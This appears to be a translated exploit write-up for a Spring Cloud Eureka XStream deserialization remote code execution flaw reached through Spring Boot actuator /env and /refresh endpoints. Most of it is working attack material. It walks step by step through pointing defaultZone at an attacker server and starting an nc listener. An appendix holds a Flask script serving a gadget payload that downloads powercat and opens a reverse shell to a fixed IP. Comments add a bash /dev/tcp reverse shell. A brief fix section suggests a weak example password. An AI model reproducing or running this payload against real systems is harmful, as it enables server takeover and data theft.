1. Vulnerability Overview
Eureka is a submodule of the Spring Cloud Netflix module. It is the secondary encapsulation of Netflix Eureka by Spring Cloud. It is mainly responsible for the service registration and discovery functions of Spring Cloud. Developers only need to introduce relevant dependencies and annotations to easily integrate Spring Boot and Eureka. .
Security personnel (Michael Stepankin) found that the service registration and discovery functions may be abused. When the eureka.client.serviceUrl.defaultZone property is set to a malicious external eureka server URL address and /refresh triggers the target machine to request a remote URL, a fake set up in advance The eureka server will return a malicious payload. The target machine parses the payload and triggers XStream deserialization, resulting in an RCE vulnerability.
2. Conditions of use
1. The target can go out of the network
2. The target uses eureka-client < 1.8.7 (there is a spring-cloud-starter-netflix-eureka-client dependency)
3. Use POST to request the /env interface of the target website and set the zone attribute
4. You can request the /refresh interface of the target website to refresh the configuration by POST (there is a spring-boot-starter-actuator dependency)
3. Vulnerability environment
Web server: Windows Server 2012, JDK8u131 (1.13.190.222)
VPS: Ubuntu 16.04.7 LTS (162.14.73.205)
4. Normal access
Visit the URL: http://1.13.190.222:64000/env to get some sensitive data in json format.
5. Vulnerability Exploitation
[Personal letter reply to "data" acquisition]
1. Network security learning route
2. E-books (white hat)
3. Internal videosecuritycompany4,
100 copies of src documentsComplete Kit8, Emergency Response Notes
Prepare relevant files and monitoring services on the VPS server in advance, and use the fake server from VPS python to call and execute the code in series.
Web server: Windows Server 2012, JDK8u131 (1.13.190.222)
VPS: Ubuntu 16 (162.14.73.205)
Step 1: Set up the script
Example python script that responds to a malicious XStream payload (depending on Flask), the script also needs to be accompanied by shell commands.
For Linux, you can use the python that comes with the target machine to bounce the shell.
For Windows, use powercat.ps1 to bounce the shell.
Start the script python3 eureka-rce.py
Flask Server 8883
Step 2: NC Monitor
File Server 8000
For the windows platform shell, use python3 -m http.server 8000 to quickly build the powercat.ps1 file download service.
Use nc to listen on the port and wait for the bounce shell
nc-lvp 8885
Step 3: Set defaultZone
Set the eureka.client.serviceUrl.defaultZone property
Version 1: spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://162.14.73.205:8883/
Version 2: spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://162.14.73.205:8883"}
Returns 200, the body content is {"eureka.client.serviceUrl.defaultZone":"http://162.14.73.205:8883/"}
, that is, the setting is successful.
Step 4: Refresh the configuration
Version 1: spring 1.x
Version 2: spring 2.x
Return 200, body [] is refreshed successfully.
Receive Shell
6. Bug fixes
Consider disabling the /env interface (endpoints.env.enabled=false), but it does not affect business/operation and maintenance. It is usually considered to authenticate the /env interface, by pom.xml
introducing spring-boot-starter-security
dependencies under the file application.properties
, enabling the security function in the file, configuring the access account password, and restarting the application.
pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
application.properties
management.security.enabled=true
security.user.name=administrator
security.user.password=123456
appendix
1. python script
# -*- coding: utf-8 -*-
# home.php?mod=space&uid=59738 : 2022-3-11 20点48分
# home.php?mod=space&uid=210785 : eureka-rce.py
# linux反弹shell
# <string>/bin/bash</string>
# <string>-c</string>
# <string>bash -i >& /dev/tcp/162.14.73.205/8885 0>&1</string>
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# windows反弹shell
# <string>cmd.exe</string>
# <string>/c</string>
# <string>ping %COMPUTERNAME%.6f9796ab.dns.bypass.eu.org</string>
# windows dnslog https://dig.pm/
# <string>cmd.exe</string>
# <string>/c</string>
# <string>ping 757013cd.dns.bypass.eu.org</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>powershell</string>
<string>IEX (New-Object System.Net.Webclient).DownloadString('http://162.14.73.205:8000/powercat.ps1');powercat -c 162.14.73.205 -p 8885 -e cmd</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8883)
2. Use of other interfaces
/env : Get environment properties, database password, etc. If the database is on the external network and is not restricted by a whitelist, you can get database permissions.
/mappings: Get the list of interfaces. If the interface is not authenticated, you can further obtain sensitive information.
/dump: Get a memory snapshot, with VisualVM you can further get sensitive information.
/trace: Obtain authentication information, similar to druid/index.html leaking authentication information such as session, which can be further used to break through permissions.